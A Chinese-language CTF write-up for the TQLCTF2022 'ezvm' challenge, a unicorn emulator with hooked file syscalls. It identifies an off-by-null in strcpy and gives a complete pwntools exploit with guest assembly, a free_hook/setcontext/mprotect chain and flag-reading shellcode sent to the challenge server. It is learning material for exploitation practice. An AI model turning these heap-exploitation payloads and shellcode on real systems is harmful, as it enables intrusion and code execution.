TQLCTF2022-ezvm-WP
上周末参加了奇安信和 Redbud 一起组织的 TQLCTF,pwn 题的质量挺高,都挺有意思的,我在比赛期间尝试做了 unbelievable_write,ezvm 和 trivm-string 三道题,做出两题。其中 unbelievable_write 是一个传统的堆题,free 掉 tcache_prethread_struct 然后 add 即可控制该结构体实现任意地址分配,分配到 free@got 处修改为别的函数即可避免 free 非法堆块导致报错,然后再分配到 target 处覆写即可获得 flag。很简单,就不写 wp 了。然后 trivm-string 这题,三进制平衡虚拟机,确实很有意思,逆向队友帮忙写了一个反汇编器,可惜分析的稍微有点问题。本来的思路是还原栈帧并理清输入流程找到溢出点,但是由于反汇编错误丢失一些 label,看了一会儿还是放弃了。之后准备学习一下反汇编器开发的技巧,再看看能不能写个该虚拟机的反汇编器。
ezvm 这道题是个 unicorn 的利用,在比赛中碰到过两次 unicorn 的利用,上一次是 TCTF 的 uc 系列题,当时比赛的时候好像有别的什么事就摸鱼了,赛后复现了一下,写成的 wp 是TCTF2021-uc_masteeer-WP这篇文章,当时算是入了个门,也可以参考本文了解一下 unicorn 的基本概念。这次比赛又碰到了就做了一下。这道题也算是个入门题,说到底来就是个普通堆利用。从碰到的 unicorn pwn 题来看都是加了个外部功能比如 hook 一个系统调用,然后在这个新功能里面有个洞然后要选手利用,其实就和现在比赛中常见的 kernel module pwn 差不多,不过 unicorn 环境下的 pwn 其实和用户态 pwn 差不多,只是一个宿主机一个客户机可能稍微有点绕,然后就是要手写汇编可能稍微麻烦一点(也可能可以编译生成 payload,不过这里我还是倾向于自己手写,更有安全感)。
首先拿到 binary,拖到 IDA 里面,会发现调用 uc 相关的函数时原先的枚举量都变成了数字,IDA 提供了数字转枚举转宏的功能,也提供了自动 parse 头文件生成枚举和宏的功能,首先从 unicorn 的 GitHub release 页面获取源码,取出其中的头文件,我们需要用的相关定义主要在 unicorn.h
和 x86.h
中,使用 IDA 进行 parse 后,在 local type 中将 parse 出来的定义导入数据库,对着数字按 m
即可转为对应的枚举
全部转完之后就会好分析很多,然后我们来分析流程,很容易发现 hook 的系统调用提供了四种功能
- eax = 0,read,read 一段宿主机文件的内容并拷贝到客户机内存
- eax = 1,write,拷贝一段客户机内存并 write 到宿主机文件中
- eax = 2,open,打开一个宿主机文件,需要注意的是默认开启宿主机的 stdin,stdout,stderr 三个文件,剩下的文件开启关闭都是程序自己虚拟出来的
- eax = 3,close,关闭一个宿主机文件
刚才也说了,宿主机文件是虚拟的,什么意思呢,以 read 操作为例,可以看到实际调用时是这样实现的
__int64 __fastcall sub_18FE(int a1, __int64 a2, __int64 a3)
{
int i; // [rsp+2Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( *((_QWORD *)&unk_5020 + 9 * i) == a1 )
return ((__int64 (__fastcall *)(char *, __int64, __int64))funcs_1999[9 * i])((char *)&unk_5020 + 72 * i, a2, a3);
}
return 0xFFFFFFFFLL;
}
这明显是一个类似于虚表的调用方式,通过一些简单的猜测,我们可以还原出 unk_5020 开始的这一段内存里面存储的结构体结构
struct file
{
__int64 fd;
char file_name[24];
__int64 buf;
__int64 buf_size;
void *read;
void *write;
void *close;
};
观察 open 操作
__int64 __fastcall do_host_open(const char *file_name, unsigned __int64 buf_size)
{
unsigned __int64 size; // [rsp+0h] [rbp-20h]
int i; // [rsp+14h] [rbp-Ch]
int j; // [rsp+14h] [rbp-Ch]
struct file *v6; // [rsp+18h] [rbp-8h]
size = buf_size;
for ( i = 0; i <= 15; ++i )
{
if ( !strcmp(files[i].file_name, file_name) )
return files[i].fd;
}
if ( total_files > 15 )
return 0xFFFFFFFFLL;
if ( buf_size > 0x400 )
size = 0x400LL;
for ( j = 0; j <= 15 && files[j].file_name[0]; ++j )
;
v6 = &files[j];
v6->buf = (__int64)malloc(size);
strcpy(v6->file_name, file_name);
v6->read = file_read;
v6->write = file_write;
v6->close = file_close;
v6->fd = j;
++total_files;
v6->buf_size = size;
return v6->fd;
}
分析虚表指针指向的函数就可以理解是如何实现客户机的 read write close 了。审计这个函数也可以发现主要的漏洞点,也就是 strcpy 处 off-by-null,会覆写 file->buf
的最低一位,由此可以实现 chunkoverlapping,之后打 __free_hook
,通过 setcontext 栈迁移执行 mprotect ret2shell code 后 orw 即可获取 flag。
另外还有一个洞就是通过多次 close 一个文件后多次 open 文件可以实现数组越界修改 stderr 指针,但是这里似乎无法通过这种方式完成利用。
比较麻烦的地方在于堆环境比较乱,但是还比较稳定,所以多调试一下就可以完成堆风水。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "i386"
#sh = process("./easyvm")
sh = remote("120.24.82.252", 49790)
"""
main_arena 0x1ebb70
offset to __free_hook +0x2938
offset to __realloc_hook +0x2978
__free_hook 0x1eeb28
__realloc_hook 0x1ebb68
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
heap offset 0x9D0
setcontext 0x580DD
mprotect 0x11bb00
"""
code = """
mov edi, 0x401000;
mov esi, 0x80;
mov eax, 2;
syscall;
mov edi, 0x401020;
mov esi, 0x400;
mov eax, 2;
syscall;
mov edi, 0x401010;
mov esi, 0x80;
mov eax, 2;
syscall;
mov edi, 0x401060;
mov esi, 0x400;
mov eax, 2;
syscall;
mov edi, 0x3;
mov edx, 8;
mov esi, 0x4010F0;
mov eax, 0;
syscall;
mov edi, 5;
mov eax, 3;
syscall;
mov edi, 3;
mov eax, 3;
syscall;
mov edi, 0x4;
mov edx, 8;
mov esi, 0x4010F8;
mov eax, 0;
syscall;
mov eax, 0x4010F0;
mov ebx, [eax];
sub ebx, 0x688;
mov [eax], ebx;
mov edi, 4;
mov edx, 8;
mov esi, 0x4010F0;
mov eax, 1;
syscall;
mov edi, 0x401040;
mov esi, 0x80;
mov eax, 2;
syscall;
mov edi, 0x401050;
mov esi, 0x80;
mov eax, 2;
syscall;
"""
code += """
mov eax, 0x4010F0;
mov ebx, [eax];
sub ebx, 0x1ebb68;
mov [eax], ebx;
mov eax, 0x4010F8;
mov ebx, [eax];
add ebx, 0x90;
mov [eax], ebx;
"""
# set the context or so here
code += """
mov ebx, 0x401200;
mov eax, 0x4010F0;
mov ecx, [eax];
add ecx, 0x154930;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x401208;
mov eax, 0x4010F8;
mov ecx, [eax];
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x401220;
mov eax, 0x4010F0;
mov ecx, [eax];
add ecx, 0x580DD;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x4012A0;
mov eax, 0x4010F8;
mov ecx, [eax]
add ecx, 0x30;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x401268;
mov eax, 0x4010F8;
mov ecx, [eax]
sub ecx, 0xf30;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x401270;
mov ecx, 0x2000;
mov [ebx], ecx;
mov ecx, 0;
mov [ebx + 4], ecx;
mov ebx, 0x401288;
mov ecx, 0x7;
mov [ebx], ecx;
mov ecx, 0;
mov [ebx + 4], ecx;
mov ebx, 0x4012A8;
mov eax, 0x4010F0;
mov ecx, [eax];
add ecx, 0x11bb00;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ebx, 0x401230;
mov eax, 0x4010F8;
mov ecx, [eax];
add ecx, 0x100;
mov [ebx], ecx;
mov ecx, [eax + 4];
mov [ebx + 4], ecx;
mov ecx, 0x100;
mov edi, 0x401300;
mov esi, 0x402000;
rep movs byte ptr [edi], [esi];
"""
code += """
mov edi, 6;
mov edx, 0x3F8;
mov esi, 0x401200;
mov eax, 1;
syscall;
"""
# set the magic gadget
code += """
mov eax, 0x4010F0;
mov ebx, [eax];
add ebx, 0x154930;
mov [eax], ebx;
mov edi, 5;
mov edx, 0x8;
mov esi, 0x4010F0;
mov eax, 1;
syscall;
"""
# trigger the gadget
code += """
mov edi, 6;
mov edx, 0x3F9;
mov esi, 0x401200;
mov eax, 1;
syscall;
"""
code += """
mov edi, 1;
mov edx, 0x10;
mov esi, 0x4010F0;
mov eax, 1;
syscall;
"""
#shellcode = asm(" /* execve(path='/bin/sh', argv=0, envp=0) */\n /* push '/bin/sh\\x00' */\n mov rax, 0x101010101010101\n push rax\n mov rax, 0x101010101010101 ^ 0x68732f6e69622f\n xor [rsp], rax\n mov rdi, 0\n mov rsi, rsp /* 0 */\n xor edx, edx /* 0 */\n xor r10, r10\n /* call execve() */\n push 322\n pop rax\n syscall\n")
#shellcode = asm(shellcraft.open('./flag')) + asm('sub rsp, 0x100') + asm(shellcraft.read(3, 'rsp', 0x100)) + asm(shellcraft.write(1, 'rsp', 0x100))
shellcode = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x001\xc0j\x03_1\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05'
payload = asm(code)
payload = payload.ljust(0x1000, '\x00')
payload += '/file1'.ljust(0x10, '\x00') # fd = 3, 0x401000
payload += '/file2'.ljust(0x10, '\x00') # fd = 5, 0x401010
payload += 'a'.ljust(0x20, 'a') # fd = 4, 0x401020
payload += '/file3'.ljust(0x10, '\x00') # fd = 4, 0x401040
payload += '/file4'.ljust(0x10, '\x00') # fd = 5, 0x401050
payload += '/file5'.ljust(0x10, '\x00') # fd = , 0x401060
payload += '/file6'.ljust(0x10, '\x00') # fd = , 0x401070
payload += '/file7'.ljust(0x10, '\x00') # fd = , 0x401080
payload += '/bin/sh'.ljust(0x10, '\x00') # fd = , 0x401090
payload = payload.ljust(0x2000, '\x00')
payload += shellcode
#gdb.attach(sh, gdbscript = "b * 0x7ffff736c1ee")
sh.sendafter("code:", payload.ljust(0x4000, '\x00'))
sh.interactive()
exp 写的比较乱,仅供参考。